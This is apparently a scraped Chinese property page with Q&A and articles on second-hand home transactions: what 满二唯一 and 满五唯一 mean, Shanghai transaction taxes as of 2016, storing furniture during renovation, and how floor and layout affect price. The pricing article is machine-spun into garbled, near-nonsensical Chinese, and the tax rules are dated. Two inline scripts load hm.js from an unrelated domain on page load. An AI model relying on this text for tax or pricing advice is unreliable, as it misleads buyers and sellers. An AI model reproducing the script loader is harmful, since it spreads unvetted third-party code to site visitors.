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孔冰冰
我家本计划在售楼部买房子,因为楼层不适合,又想买二手房,总是听中介的人说二手房满二唯一,想知道是什么意思呢?
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纪宏盛 有用 1
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问二手房满五唯一与不满五唯一的区别是什么?
答您好,这个与税费有关系。例如:同样2套房子出售,A房100万购买,目前卖200万,满五年唯一,出售时仅需要缴纳契税200 ? ? ? ? ? ? ? ? ?
问二手房满五唯一跟满二唯一的区别,房屋买卖费用差别有哪些?
答主要的差别在于个人所得税的不同。如果是满五年,唯一的房子就没有个税。个税必需同时满足这两个条件才会免征:第一:房本满五年第二:家庭名下唯一住宅故:满二唯一的
问买二手房满五唯一上多少税?
答在目前现行税费政策情况下:房本满5年且家庭唯一,免征个人所得税;房本满5年(必然满2年),如果是普通住宅免征营业税;如果是非普通住宅,按差额5.6%征收营业
问二手房满五唯一是啥意思?
答房本或者契税票上的时间满五年,唯一:卖方以家庭为单位(夫妻和未成年子女)是名下唯一住房。
问3.15+二手房满二唯一的商品房税费都有哪些?
答1、按普通住宅计算:营业税0,个人所得税差额(本次网签价-原值-合理费用)20%,契税首套90平米以下网签价1%,90平米以上网签价1.5%,二套网签价3%
一般二手房装修家具存放该如何处置
二手房装修,无论是价格还是时间,都会比新房高,相信很多业主都知道,但是对于二手房的装修,有一个非常重要的情况,那就是如何处理二手房装修家具存放?你是搬走还是留在家里?如果家用电器需要留在家里,最好找个地方搬走。当然,二手房装修分为部分装修和整体装修两种情况,供大家简单地说。1、如果是部分翻新,需要在家中保存的家电家具可以放置在不需要翻新的位置。因此,如果部分翻新,二手房装修家具存放在家里而不用搬走。2、如果是全部翻修,建议尽量搬家,因为有太多的东西,如果放在现场,不利于施工,会降低施工效率,如果家里堆积如山的东西太多,就有一些施工盲点也就是说,在有些地方,工会的实施是不到位的。当然,最重要的是,如果放置在现场的家电家具意外损坏,可能会导致施工方与业主的纠纷和矛盾。至于二手房装修家具存放,业主是否在搬走或者还是放在房子里面主要取决于业主本人。没有人会要求它,甚至强迫它的主人。而且施工人员也不会说去会毁坏或故意损坏家的家具。但是施工现场毕竟有多个工人,工种交接,而且还有很多的材料安装上会到现场,假如有人不小心损坏了,那么这个咋办啊,任何人都不会故意去损坏,因此,建议在有条件的情况下尽可能地移动。不然出现不可预估的情况,到时候谁也不想看到。因此,二手房装修家具的存储是二手房装修中非常重要的一个环节,只有摆放好家具,装修才会更快更好,但是二手房装修家具存放也分为不同的情况,所以以上简单所述相信每个人都明白。希望能在二手房装修存放家具整体装修中把家具全部搬走。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();
二手房软件,我们如何购买二手房
如下,二手房软件同一个小区内的二手房是因为通畅、大我配套设施相同,得以参看最近的成交著录拓展定价。底下具体为说说二手房软件里面的房子:1、楼层。二手房软件如是多层则3-4层单价最高,2、5层伯仲,底边和顶层又老二。二手房软件,天下乌鸦一般黑幢屋宇楼群最好的与最次的单价差价在200-400元之间。倘或是高层或小高层,7-9层的价钱可看作基准价,往上则贵,往下则便宜,每层价格差在50-150元反正。在一模一样层里,二手房软件里的中路套的价格往往当作基准价,正东套即东南向最贵,差价在3%左不过,而西面套即西南向其次,差价在2%左右。正象朝中央天井的房子安静与此同时空气好,售价最贵;二手房软件中的房子朝大路的房子嘈杂而又空气差,售价最低。2、房屋面积。一般来说100平方左不过面积的房舍是最走俏的,也是最顺应三口或四口之家居住的。而面积过大的屋宇归因于总房价掣肘了消费者的购买力量,故此并不好销。从而,面积在200平方以上的房舍,在早晚情况下单价应相对低一对。3、户型天壤。房屋的户型很重要,除外有明显的通病的,二手房软件里面貌似假若有一个朝南的主卧室,厅堂采光、对流好的,都是足以卖个好价位;再就是带明卫的又比带暗卫的值钱,正厅、主卧宽幅大的又比步长小的值钱,面积紧凑实用的应和单价更贵。4、装裱及消夏情景。最好在主宰卖报后对其房子进展有效清洁或创新这一来会大大增多你屋宇的控制点出摊价钱足以同百分数如虎添翼更大大增速了售房速度。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();
上海二手房税费一览
上海的房价在全国范围里都是数一数二的,平均一平米的价格也到达了十来万。房价越高的城市交易量也会越高,因此上海的二手房交易市场是非常的活跃。二手房交易跟一手房交易最大的不同在于税费,二手房交易税费是会比一手房多很多,其中一大部分原因是为了遏制炒房的疯涨。下面小编介绍了2016上海二手房税费一览,你可以来看看。二手房交易税费是指在二手房交易中,税务部门向卖方征收交易所产生的差价获得的收入。各类税收共有8种,包括:营业税、个人所得税、土地增值税、印花税、城建税、教育附加税、地方附加税、契税。卖方(一)普通住宅:1、营业税:购买未满5年(含5年)的房产对外出售营业税为房价的5.65%,满5年则免征营业税。2、个人所得税:购买未满5年(含5年)的房产或非家庭唯一的生活用房对外出售个人所得税为房价的1%或差价的20%,满5年并且是家庭唯一的生活用房则免征个人所得税。(二)非普通住宅:1、营业税(增值税):购买未满2年(含2年)的房产对外出售税率为房价的5%,满2年则免征。2、个人所得税:购买未满5年(含5年)的房产或非家庭唯一的生活用房对外出售个人所得税为房价的2%或差价的20%,满5年并且是家庭唯一的生活用房则免征个人所得税。买方(一)普通住宅:0-90平方米(含90),内环内总价450万以内,内外环间总价310万以内,外环外230万以内契税:1%(2014年11月新政,第二套房契税为3%)0-90平方米(含90),内环内总价330万以内,内外环间总价200万以内,外环外160万以内契税:1%(2012年2月新政,第二套房契税为3%)90—140平方米(含140)契税:1.5%,内环内总价330万以内,内外环间总价200万以内,,外环外160万以内!(2010年10月17日新政,第二套房契税为3%)(二)非普通住宅:契税:3%注:普通住宅必须同时满足以下3个条件:1、五层以上(含五层)的多高层住房,以及不足五层的老式公寓、新式里弄、旧式里弄等;2、单套建筑面积在140平方米以下;3、坐落在内环线(以中山路环线)以内的总价低于450万元/套,内环与外环之间的总价低于310万元/套,外环线以外的总价低于230万元/套。此外买方还要承担以下费用1.工本印花税,一般为5元/本。2.产权转移登记费,一般为80元/本。2016上海二手房税费一览就是这些,综上所述,在二手房交易中买房者和卖房者所缴纳的税费会有所不同,具体要缴纳的税费是多少,要根据实际情况来定。在买房的时候要知道自己要缴纳的税费是多少,可以询问房中介,也可以在房产交易之前请房中介好好计算一下。二手房交易的税费一定要能够按时交,及时交,不能够有任何的偷税、漏税的情况发生。
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